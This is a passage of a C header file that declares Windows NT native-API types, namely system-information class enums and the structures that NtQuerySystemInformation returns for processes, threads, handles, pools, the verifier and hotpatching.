// 0x21\n    SystemCrashDumpStateInformation,            // 0x22\n    SystemKernelDebuggerInformation,            // 0x23\n    SystemContextSwitchInformation,             // 0x24\n    SystemRegistryQuotaInformation,             // 0x25\n    SystemExtendServiceTableInformation,        // 0x26\n    SystemPrioritySeperation,                   // 0x27\n    SystemPlugPlayBusInformation,               // 0x28\n    SystemDockInformation,                      // 0x29\n    SystemPowerInformationNative,               // 0x2a\n    SystemProcessorSpeedInformation,            // 0x2b\n    SystemCurrentTimeZoneInformation,           // 0x2c\n    SystemLookasideInformation,\n    SystemTimeSlipNotification,\n    SystemSessionCreate,\n    SystemSessionDetach,\n    SystemSessionInformation,\n    SystemRangeStartInformation,\n    SystemVerifierInformation,\n    SystemAddVerifier,\n    SystemSessionProcessesInformation,\n    SystemLoadGdiDriverInSystemSpaceInformation,\n    SystemNumaProcessorMap,\n    SystemPrefetcherInformation,\n    SystemExtendedProcessInformation,\n    SystemRecommendedSharedDataAlignment,\n    SystemComPlusPackage,\n    SystemNumaAvailableMemory,\n    SystemProcessorPowerInformation,\n    SystemEmulationBasicInformation,\n    SystemEmulationProcessorInformation,\n    SystemExtendedHandleInformation,\n    SystemLostDelayedWriteInformation,\n    SystemBigPoolInformation,\n    SystemSessionPoolTagInformation,\n    SystemSessionMappedViewInformation,\n    SystemHotpatchInformation,\n    SystemObjectSecurityMode,\n    SystemWatchDogTimerHandler,\n    SystemWatchDogTimerInformation,\n    SystemLogicalProcessorInformation,\n    SystemWo64SharedInformationObosolete,\n    SystemRegisterFirmwareTableInformationHandler,\n    SystemFirmwareTableInformation,\n    SystemModuleInformationEx,\n    SystemVerifierTriageInformation,\n    SystemSuperfetchInformation,\n    SystemMemoryListInformation,\n    SystemFileCacheInformationEx,\n    SystemThreadPriorityClientIdInformation,\n    SystemProcessorIdleCycleTimeInformation,\n    SystemVerifierCancellationInformation,\n    SystemProcessorPowerInformationEx,\n    SystemRefTraceInformation,\n    SystemSpecialPoolInformation,\n    SystemProcessIdInformation,\n    SystemErrorPortInformation,\n    SystemBootEnvironmentInformation,\n    SystemHypervisorInformation,\n    SystemVerifierInformationEx,\n    SystemTimeZoneInformation,\n    SystemImageFileExecutionOptionsInformation,\n    SystemCoverageInformation,\n    SystemPrefetchPathInformation,\n    SystemVerifierFaultsInformation,\n    MaxSystemInfoClass,\n} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;\n\n//\n// Thread priority\n//\n\ntypedef LONG KPRIORITY;\n\n//\n// Information Structures for NtQuerySystemInformation\n//\ntypedef struct _SYSTEM_BASIC_INFORMATION\n{\n    ULONG Reserved;\n    ULONG TimerResolution;\n    ULONG PageSize;\n    ULONG NumberOfPhysicalPages;\n    ULONG LowestPhysicalPageNumber;\n    ULONG HighestPhysicalPageNumber;\n    ULONG AllocationGranularity;\n    ULONG_PTR MinimumUserModeAddress;\n    ULONG_PTR MaximumUserModeAddress;\n    ULONG_PTR ActiveProcessorsAffinityMask;\n    CCHAR NumberOfProcessors;\n} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;\n\n// Class 1\ntypedef struct _SYSTEM_PROCESSOR_INFORMATION\n{\n    USHORT ProcessorArchitecture;\n    USHORT ProcessorLevel;\n    USHORT ProcessorRevision;\n    USHORT Reserved;\n    ULONG ProcessorFeatureBits;\n} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;\n\n// Class 2\ntypedef struct _SYSTEM_PERFORMANCE_INFORMATION\n{\n    LARGE_INTEGER IdleProcessTime;\n    LARGE_INTEGER IoReadTransferCount;\n    LARGE_INTEGER IoWriteTransferCount;\n    LARGE_INTEGER IoOtherTransferCount;\n    ULONG IoReadOperationCount;\n    ULONG IoWriteOperationCount;\n    ULONG IoOtherOperationCount;\n    ULONG AvailablePages;\n    ULONG CommittedPages;\n    ULONG CommitLimit;\n    ULONG PeakCommitment;\n    ULONG PageFaultCount;\n    ULONG CopyOnWriteCount;\n    ULONG TransitionCount;\n    ULONG CacheTransitionCount;\n    ULONG DemandZeroCount;\n    ULONG PageReadCount;\n    ULONG PageReadIoCount;\n    ULONG CacheReadCount;\n    ULONG CacheIoCount;\n    ULONG DirtyPagesWriteCount;\n    ULONG DirtyWriteIoCount;\n    ULONG MappedPagesWriteCount;\n    ULONG MappedWriteIoCount;\n    ULONG PagedPoolPages;\n    ULONG NonPagedPoolPages;\n    ULONG PagedPoolAllocs;\n    ULONG PagedPoolFrees;\n    ULONG NonPagedPoolAllocs;\n    ULONG NonPagedPoolFrees;\n    ULONG FreeSystemPtes;\n    ULONG ResidentSystemCodePage;\n    ULONG TotalSystemDriverPages;\n    ULONG TotalSystemCodePages;\n    ULONG NonPagedPoolLookasideHits;\n    ULONG PagedPoolLookasideHits;\n    ULONG Spare3Count;\n    ULONG ResidentSystemCachePage;\n    ULONG ResidentPagedPoolPage;\n    ULONG ResidentSystemDriverPage;\n    ULONG CcFastReadNoWait;\n    ULONG CcFastReadWait;\n    ULONG CcFastReadResourceMiss;\n    ULONG CcFastReadNotPossible;\n    ULONG CcFastMdlReadNoWait;\n    ULONG CcFastMdlReadWait;\n    ULONG CcFastMdlReadResourceMiss;\n    ULONG CcFastMdlReadNotPossible;\n    ULONG CcMapDataNoWait;\n    ULONG CcMapDataWait;\n    ULONG CcMapDataNoWaitMiss;\n    ULONG CcMapDataWaitMiss;\n    ULONG CcPinMappedDataCount;\n    ULONG CcPinReadNoWait;\n    ULONG CcPinReadWait;\n    ULONG CcPinReadNoWaitMiss;\n    ULONG CcPinReadWaitMiss;\n    ULONG CcCopyReadNoWait;\n    ULONG CcCopyReadWait;\n    ULONG CcCopyReadNoWaitMiss;\n    ULONG CcCopyReadWaitMiss;\n    ULONG CcMdlReadNoWait;\n    ULONG CcMdlReadWait;\n    ULONG CcMdlReadNoWaitMiss;\n    ULONG CcMdlReadWaitMiss;\n    ULONG CcReadAheadIos;\n    ULONG CcLazyWriteIos;\n    ULONG CcLazyWritePages;\n    ULONG CcDataFlushes;\n    ULONG CcDataPages;\n    ULONG ContextSwitches;\n    ULONG FirstLevelTbFills;\n    ULONG SecondLevelTbFills;\n    ULONG SystemCalls;\n} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;\n\n// Class 3\ntypedef struct _SYSTEM_TIMEOFDAY_INFORMATION\n{\n    LARGE_INTEGER BootTime;\n    LARGE_INTEGER CurrentTime;\n    LARGE_INTEGER TimeZoneBias;\n    ULONG TimeZoneId;\n    ULONG Reserved;\n    LARGE_INTEGER BootTimeBias;\n    LARGE_INTEGER SleepTimeBias;\n} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;\n\n// Class 4\n// This class is obsolete, please use KUSER_SHARED_DATA instead\n\n// Class 5\ntypedef struct _SYSTEM_THREAD_INFORMATION\n{\n    LARGE_INTEGER KernelTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER CreateTime;\n    ULONG WaitTime;\n    PVOID StartAddress;\n    CLIENT_ID ClientId;\n    KPRIORITY Priority;\n    LONG BasePriority;\n    ULONG ContextSwitches;\n    ULONG ThreadState;\n    ULONG WaitReason;\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG NumberOfThreads;\n    LARGE_INTEGER SpareLi1;\n    LARGE_INTEGER SpareLi2;\n    LARGE_INTEGER SpareLi3;\n    LARGE_INTEGER CreateTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER KernelTime;\n    UNICODE_STRING ImageName;\n    KPRIORITY BasePriority;\n    HANDLE UniqueProcessId;\n    HANDLE InheritedFromUniqueProcessId;\n    ULONG HandleCount;\n    ULONG SessionId;\n    ULONG_PTR PageDirectoryBase;\n\n    //\n    // This part corresponds to VM_COUNTERS_EX.\n    // NOTE: *NOT* THE SAME AS VM_COUNTERS!\n    //\n    SIZE_T PeakVirtualSize;\n    ULONG VirtualSize;\n    SIZE_T PageFaultCount;\n    SIZE_T PeakWorkingSetSize;\n    SIZE_T WorkingSetSize;\n    SIZE_T QuotaPeakPagedPoolUsage;\n    SIZE_T QuotaPagedPoolUsage;\n    SIZE_T QuotaPeakNonPagedPoolUsage;\n    SIZE_T QuotaNonPagedPoolUsage;\n    SIZE_T PagefileUsage;\n    SIZE_T PeakPagefileUsage;\n    SIZE_T PrivatePageCount;\n\n    //\n    // This part corresponds to IO_COUNTERS\n    //\n    LARGE_INTEGER ReadOperationCount;\n    LARGE_INTEGER WriteOperationCount;\n    LARGE_INTEGER OtherOperationCount;\n    LARGE_INTEGER ReadTransferCount;\n    LARGE_INTEGER WriteTransferCount;\n    LARGE_INTEGER OtherTransferCount;\n\n    //SYSTEM_THREAD_INFORMATION TH[1];\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\n// Class 6\ntypedef struct _SYSTEM_CALL_COUNT_INFORMATION\n{\n    ULONG Length;\n    ULONG NumberOfTables;\n} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;\n\n// Class 7\ntypedef struct _SYSTEM_DEVICE_INFORMATION\n{\n    ULONG NumberOfDisks;\n    ULONG NumberOfFloppies;\n    ULONG NumberOfCdRoms;\n    ULONG NumberOfTapes;\n    ULONG NumberOfSerialPorts;\n    ULONG NumberOfParallelPorts;\n} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;\n\n// Class 8\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION\n{\n    LARGE_INTEGER IdleTime;\n    LARGE_INTEGER KernelTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER DpcTime;\n    LARGE_INTEGER InterruptTime;\n    ULONG InterruptCount;\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;\n\n// Class 9\ntypedef struct _SYSTEM_FLAGS_INFORMATION\n{\n    ULONG Flags;\n} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;\n\n// Class 10\ntypedef struct _SYSTEM_CALL_TIME_INFORMATION\n{\n    ULONG Length;\n    ULONG TotalCalls;\n    LARGE_INTEGER TimeOfCalls[1];\n} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION;\n\n// Class 11 - See RTL_PROCESS_MODULES\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION\n{\n    ULONG Section;\n    PVOID MappedBase;\n    PVOID ImageBase;\n    ULONG ImageSize;\n    ULONG Flags;\n    USHORT LoadOrderIndex;\n    USHORT InitOrderIndex;\n    USHORT LoadCount;\n    USHORT OffsetToFileName;\n    CHAR FullPathName[256];\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION, SYSTEM_MODULE, *PSYSTEM_MODULE;\n\ntypedef struct _RTL_PROCESS_MODULES\n{\n    ULONG NumberOfModules;\n    RTL_PROCESS_MODULE_INFORMATION Modules[1];\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES, SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\n\n// Class 12 - See RTL_PROCESS_LOCKS\ntypedef struct _RTL_PROCESS_LOCK_INFORMATION\n{\n    PVOID Address;\n    USHORT Type;\n    USHORT CreatorBackTraceIndex;\n    ULONG OwnerThreadId;\n    ULONG ActiveCount;\n    ULONG ContentionCount;\n    ULONG EntryCount;\n    ULONG RecursionCount;\n    ULONG NumberOfSharedWaiters;\n    ULONG NumberOfExclusiveWaiters;\n} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION;\n\ntypedef struct _RTL_PROCESS_LOCKS\n{\n    ULONG NumberOfLocks;\n    RTL_PROCESS_LOCK_INFORMATION Locks[1];\n} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS;\n\n// Class 13 - See RTL_PROCESS_BACKTRACES\ntypedef struct _RTL_PROCESS_BACKTRACE_INFORMATION\n{\n    PVOID SymbolicBackTrace;\n    ULONG TraceCount;\n    USHORT Index;\n    USHORT Depth;\n    PVOID BackTrace[16];\n} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION;\n\ntypedef struct _RTL_PROCESS_BACKTRACES\n{\n    ULONG CommittedMemory;\n    ULONG ReservedMemory;\n    ULONG NumberOfBackTraceLookups;\n    ULONG NumberOfBackTraces;\n    RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1];\n} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES;\n\n// Class 14 - 15\ntypedef struct _SYSTEM_POOL_ENTRY\n{\n    BOOLEAN Allocated;\n    BOOLEAN Spare0;\n    USHORT AllocatorBackTraceIndex;\n    ULONG Size;\n    union\n    {\n        UCHAR Tag[4];\n        ULONG TagUlong;\n        PVOID ProcessChargedQuota;\n    };\n} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY;\n\ntypedef struct _SYSTEM_POOL_INFORMATION\n{\n    ULONG TotalSize;\n    PVOID FirstEntry;\n    USHORT EntryOverhead;\n    BOOLEAN PoolTagPresent;\n    BOOLEAN Spare0;\n    ULONG NumberOfEntries;\n    SYSTEM_POOL_ENTRY Entries[1];\n} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION;\n\n// Class 16\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\n{\n    USHORT UniqueProcessId;\n    USHORT CreatorBackTraceIndex;\n    UCHAR ObjectTypeIndex;\n    UCHAR HandleAttributes;\n    USHORT HandleValue;\n    PVOID Object;\n    ULONG GrantedAccess;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION\n{\n    ULONG NumberOfHandles;\n    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\n\n// Class 17\ntypedef struct _SYSTEM_OBJECTTYPE_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG NumberOfObjects;\n    ULONG NumberOfHandles;\n    ULONG TypeIndex;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    ULONG PoolType;\n    BOOLEAN SecurityRequired;\n    BOOLEAN WaitableObject;\n    UNICODE_STRING TypeName;\n} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION;\n\ntypedef struct _SYSTEM_OBJECT_INFORMATION\n{\n    ULONG NextEntryOffset;\n    PVOID Object;\n    HANDLE CreatorUniqueProcess;\n    USHORT CreatorBackTraceIndex;\n    USHORT Flags;\n    LONG PointerCount;\n    LONG HandleCount;\n    ULONG PagedPoolCharge;\n    ULONG NonPagedPoolCharge;\n    HANDLE ExclusiveProcessId;\n    PVOID SecurityDescriptor;\n    OBJECT_NAME_INFORMATION NameInfo;\n} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION;\n\n// Class 18\ntypedef struct _SYSTEM_PAGEFILE_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG TotalSize;\n    ULONG TotalInUse;\n    ULONG PeakUsage;\n    UNICODE_STRING PageFileName;\n} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION;\n\n// Class 19\ntypedef struct _SYSTEM_VDM_INSTEMUL_INFO\n{\n    ULONG SegmentNotPresent;\n    ULONG VdmOpcode0F;\n    ULONG OpcodeESPrefix;\n    ULONG OpcodeCSPrefix;\n    ULONG OpcodeSSPrefix;\n    ULONG OpcodeDSPrefix;\n    ULONG OpcodeFSPrefix;\n    ULONG OpcodeGSPrefix;\n    ULONG OpcodeOPER32Prefix;\n    ULONG OpcodeADDR32Prefix;\n    ULONG OpcodeINSB;\n    ULONG OpcodeINSW;\n    ULONG OpcodeOUTSB;\n    ULONG OpcodeOUTSW;\n    ULONG OpcodePUSHF;\n    ULONG OpcodePOPF;\n    ULONG OpcodeINTnn;\n    ULONG OpcodeINTO;\n    ULONG OpcodeIRET;\n    ULONG OpcodeINBimm;\n    ULONG OpcodeINWimm;\n    ULONG OpcodeOUTBimm;\n    ULONG OpcodeOUTWimm ;\n    ULONG OpcodeINB;\n    ULONG OpcodeINW;\n    ULONG OpcodeOUTB;\n    ULONG OpcodeOUTW;\n    ULONG OpcodeLOCKPrefix;\n    ULONG OpcodeREPNEPrefix;\n    ULONG OpcodeREPPrefix;\n    ULONG OpcodeHLT;\n    ULONG OpcodeCLI;\n    ULONG OpcodeSTI;\n    ULONG BopCount;\n} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;\n\n// Class 20 - ULONG VDMBOPINFO\n\n// Class 21\ntypedef struct _SYSTEM_FILECACHE_INFORMATION\n{\n    ULONG CurrentSize;\n    ULONG PeakSize;\n    ULONG PageFaultCount;\n    ULONG MinimumWorkingSet;\n    ULONG MaximumWorkingSet;\n    ULONG CurrentSizeIncludingTransitionInPages;\n    ULONG PeakSizeIncludingTransitionInPages;\n    ULONG TransitionRePurposeCount;\n    ULONG Flags;\n} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION;\n\n// Class 22\ntypedef struct _SYSTEM_POOLTAG\n{\n    union\n    {\n        UCHAR Tag[4];\n        ULONG TagUlong;\n    };\n    ULONG PagedAllocs;\n    ULONG PagedFrees;\n    ULONG PagedUsed;\n    ULONG NonPagedAllocs;\n    ULONG NonPagedFrees;\n    ULONG NonPagedUsed;\n} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;\ntypedef struct _SYSTEM_POOLTAG_INFORMATION\n{\n    ULONG Count;\n    SYSTEM_POOLTAG TagInfo[1];\n} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;\n\n// Class 23\ntypedef struct _SYSTEM_INTERRUPT_INFORMATION\n{\n    ULONG ContextSwitches;\n    ULONG DpcCount;\n    ULONG DpcRate;\n    ULONG TimeIncrement;\n    ULONG DpcBypassCount;\n    ULONG ApcBypassCount;\n} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;\n\n// Class 24\ntypedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION\n{\n    ULONG Spare;\n    ULONG DpcQueueDepth;\n    ULONG MinimumDpcRate;\n    ULONG AdjustDpcThreshold;\n    ULONG IdealDpcRate;\n} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION;\n\n// Class 25\ntypedef struct _SYSTEM_MEMORY_INFO\n{\n    PUCHAR StringOffset;\n    USHORT ValidCount;\n    USHORT TransitionCount;\n    USHORT ModifiedCount;\n    USHORT PageTableCount;\n} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;\n\ntypedef struct _SYSTEM_MEMORY_INFORMATION\n{\n    ULONG InfoSize;\n    ULONG StringStart;\n    SYSTEM_MEMORY_INFO Memory[1];\n} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;\n\n// Class 26\ntypedef struct _SYSTEM_GDI_DRIVER_INFORMATION\n{\n    UNICODE_STRING DriverName;\n    PVOID ImageAddress;\n    PVOID SectionPointer;\n    PVOID EntryPoint;\n    PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;\n    ULONG ImageLength;\n} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;\n\n// Class 27\n// Not an actually class, simply a PVOID to the ImageAddress\n\n// Class 28\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION\n{\n    ULONG TimeAdjustment;\n    ULONG TimeIncrement;\n    BOOLEAN Enable;\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;\n\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION\n{\n    ULONG TimeAdjustment;\n    BOOLEAN Enable;\n} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;\n\n// Class 29 - Same as 25\n\n// FIXME: Class 30\n\n// Class 31\ntypedef struct _SYSTEM_REF_TRACE_INFORMATION\n{\n   UCHAR TraceEnable;\n   UCHAR TracePermanent;\n   UNICODE_STRING TraceProcessName;\n   UNICODE_STRING TracePoolTags;\n} SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION;\n\n// Class 32 - OBSOLETE\n\n// Class 33\ntypedef struct _SYSTEM_EXCEPTION_INFORMATION\n{\n    ULONG AlignmentFixupCount;\n    ULONG ExceptionDispatchCount;\n    ULONG FloatingEmulationCount;\n    ULONG ByteWordEmulationCount;\n} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;\n\n// Class 34\ntypedef struct _SYSTEM_CRASH_STATE_INFORMATION\n{\n    ULONG ValidCrashDump;\n} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION;\n\n// Class 35\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION\n{\n    BOOLEAN KernelDebuggerEnabled;\n    BOOLEAN KernelDebuggerNotPresent;\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;\n\n// Class 36\ntypedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION\n{\n    ULONG ContextSwitches;\n    ULONG FindAny;\n    ULONG FindLast;\n    ULONG FindIdeal;\n    ULONG IdleAny;\n    ULONG IdleCurrent;\n    ULONG IdleLast;\n    ULONG IdleIdeal;\n    ULONG PreemptAny;\n    ULONG PreemptCurrent;\n    ULONG PreemptLast;\n    ULONG SwitchToIdle;\n} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION;\n\n// Class 37\ntypedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION\n{\n    ULONG RegistryQuotaAllowed;\n    ULONG RegistryQuotaUsed;\n    ULONG PagedPoolSize;\n} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;\n\n// Class 38\n// Not a structure, simply send the UNICODE_STRING\n\n// Class 39\n// Not a structure, simply send a ULONG containing the new separation\n\n// Class 40\ntypedef struct _SYSTEM_PLUGPLAY_BUS_INFORMATION\n{\n    ULONG BusCount;\n//  PLUGPLAY_BUS_INSTANCE BusInstance[1];\n} SYSTEM_PLUGPLAY_BUS_INFORMATION, *PSYSTEM_PLUGPLAY_BUS_INFORMATION;\n\n// Class 41\ntypedef enum _SYSTEM_DOCK_STATE\n{\n    SystemDockStateUnknown,\n    SystemUndocked,\n    SystemDocked\n} SYSTEM_DOCK_STATE, *PSYSTEM_DOCK_STATE;\n\ntypedef enum _INTERFACE_TYPE\n{\n    InterfaceTypeUndefined = -1,\n    Internal,\n    Isa,\n    Eisa,\n    MicroChannel,\n    TurboChannel,\n    PCIBus,\n    VMEBus,\n    NuBus,\n    PCMCIABus,\n    CBus,\n    MPIBus,\n    MPSABus,\n    ProcessorInternal,\n    InternalPowerBus,\n    PNPISABus,\n    PNPBus,\n    MaximumInterfaceType\n}INTERFACE_TYPE, *PINTERFACE_TYPE;\n\ntypedef struct _SYSTEM_DOCK_INFORMATION\n{\n    SYSTEM_DOCK_STATE DockState;\n    INTERFACE_TYPE DeviceBusType;\n    ULONG DeviceBusNumber;\n    ULONG SlotNumber;\n} SYSTEM_DOCK_INFORMATION, *PSYSTEM_DOCK_INFORMATION;\n\n// Class 42\ntypedef struct _SYSTEM_POWER_INFORMATION_NATIVE\n{\n    BOOLEAN SystemSuspendSupported;\n    BOOLEAN SystemHibernateSupported;\n    BOOLEAN ResumeTimerSupportsSuspend;\n    BOOLEAN ResumeTimerSupportsHibernate;\n    BOOLEAN LidSupported;\n    BOOLEAN TurboSettingSupported;\n    BOOLEAN TurboMode;\n    BOOLEAN SystemAcOrDc;\n    BOOLEAN PowerDownDisabled;\n    LARGE_INTEGER SpindownDrives;\n} SYSTEM_POWER_INFORMATION_NATIVE, *PSYSTEM_POWER_INFORMATION_NATIVE;\n\n// Class 43\ntypedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION\n{\n//  PNP_VETO_TYPE VetoType;\n    UNICODE_STRING VetoDriver;\n    // CHAR Buffer[0];\n} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION;\n\n// Class 44\n//typedef struct _TIME_ZONE_INFORMATION RTL_TIME_ZONE_INFORMATION;\n\n// Class 45\ntypedef struct _SYSTEM_LOOKASIDE_INFORMATION\n{\n    USHORT CurrentDepth;\n    USHORT MaximumDepth;\n    ULONG TotalAllocates;\n    ULONG AllocateMisses;\n    ULONG TotalFrees;\n    ULONG FreeMisses;\n    ULONG Type;\n    ULONG Tag;\n    ULONG Size;\n} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;\n\n// Class 46\n// Not a structure. Only a HANDLE for the SlipEvent;\n\n// Class 47\n// Not a structure. Only a ULONG for the SessionId;\n\n// Class 48\n// Not a structure. Only a ULONG for the SessionId;\n\n// FIXME: Class 49\n\n// Class 50\n// Not a structure. Only a ULONG_PTR for the SystemRangeStart\n\n// Class 51\ntypedef struct _SYSTEM_VERIFIER_INFORMATION\n{\n   ULONG NextEntryOffset;\n   ULONG Level;\n   UNICODE_STRING DriverName;\n   ULONG RaiseIrqls;\n   ULONG AcquireSpinLocks;\n   ULONG SynchronizeExecutions;\n   ULONG AllocationsAttempted;\n   ULONG AllocationsSucceeded;\n   ULONG AllocationsSucceededSpecialPool;\n   ULONG AllocationsWithNoTag;\n   ULONG TrimRequests;\n   ULONG Trims;\n   ULONG AllocationsFailed;\n   ULONG AllocationsFailedDeliberately;\n   ULONG Loads;\n   ULONG Unloads;\n   ULONG UnTrackedPool;\n   ULONG CurrentPagedPoolAllocations;\n   ULONG CurrentNonPagedPoolAllocations;\n   ULONG PeakPagedPoolAllocations;\n   ULONG PeakNonPagedPoolAllocations;\n   ULONG PagedPoolUsageInBytes;\n   ULONG NonPagedPoolUsageInBytes;\n   ULONG PeakPagedPoolUsageInBytes;\n   ULONG PeakNonPagedPoolUsageInBytes;\n} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION;\n\n// FIXME: Class 52\n\n// Class 53\ntypedef struct _SYSTEM_SESSION_PROCESS_INFORMATION\n{\n    ULONG SessionId;\n    ULONG SizeOfBuf;\n    PVOID Buffer; // Same format as in SystemProcessInformation\n} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION;\n\n// FIXME: Class 54-97\n\n//\n// Hotpatch flags\n//\n#define RTL_HOTPATCH_SUPPORTED_FLAG         0x01\n#define RTL_HOTPATCH_SWAP_OBJECT_NAMES      0x08 << 24\n#define RTL_HOTPATCH_SYNC_RENAME_FILES      0x10 << 24\n#define RTL_HOTPATCH_PATCH_USER_MODE        0x20 << 24\n#define RTL_HOTPATCH_REMAP_SYSTEM_DLL       0x40 << 24\n#define RTL_HOTPATCH_PATCH_KERNEL_MODE      0x80 << 24\n\n// Class info 64\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX\n{\n    PVOID Object;\n    ULONG_PTR UniqueProcessId;\n    ULONG_PTR HandleValue;\n    ULONG GrantedAccess;\n    USHORT CreatorBackTraceIndex;\n    USHORT ObjectTypeIndex;\n    ULONG  HandleAttributes;\n    ULONG  Reserved;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\n\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION_EX\n{\n    ULONG_PTR NumberOfHandles;\n    ULONG_PTR Reserved;\n    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;\n\n\n// Class 69\ntypedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION\n{\n    ULONG Flags;\n    ULONG InfoSize;\n    union\n    {\n        struct\n        {\n            ULONG Foo;\n        } CodeInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n        } KernelInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n            USHORT TargetNameOffset;\n            USHORT TargetNameLength;\n            UCHAR PatchingFinished;\n        } UserModeInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n            USHORT TargetNameOffset;\n            USHORT TargetNameLength;\n            UCHAR PatchingFinished;\n            NTSTATUS ReturnCode;\n            HANDLE TargetProcess;\n        } InjectionInfo;\n        struct\n        {\n            HANDLE FileHandle1;\n            PIO_STATUS_BLOCK IoStatusBlock1;\n            PVOID RenameInformation1;\n            PVOID RenameInformationLength1;\n            HANDLE FileHandle2;\n            PIO_STATUS_BLOCK IoStatusBlock2;\n            PVOID RenameInformation2;\n            PVOID RenameInformationLength2;\n        } RenameInfo;\n        struct\n        {\n            HANDLE ParentDirectory;\n            HANDLE ObjectHandle1;\n            HANDLE ObjectHandle2;\n        } 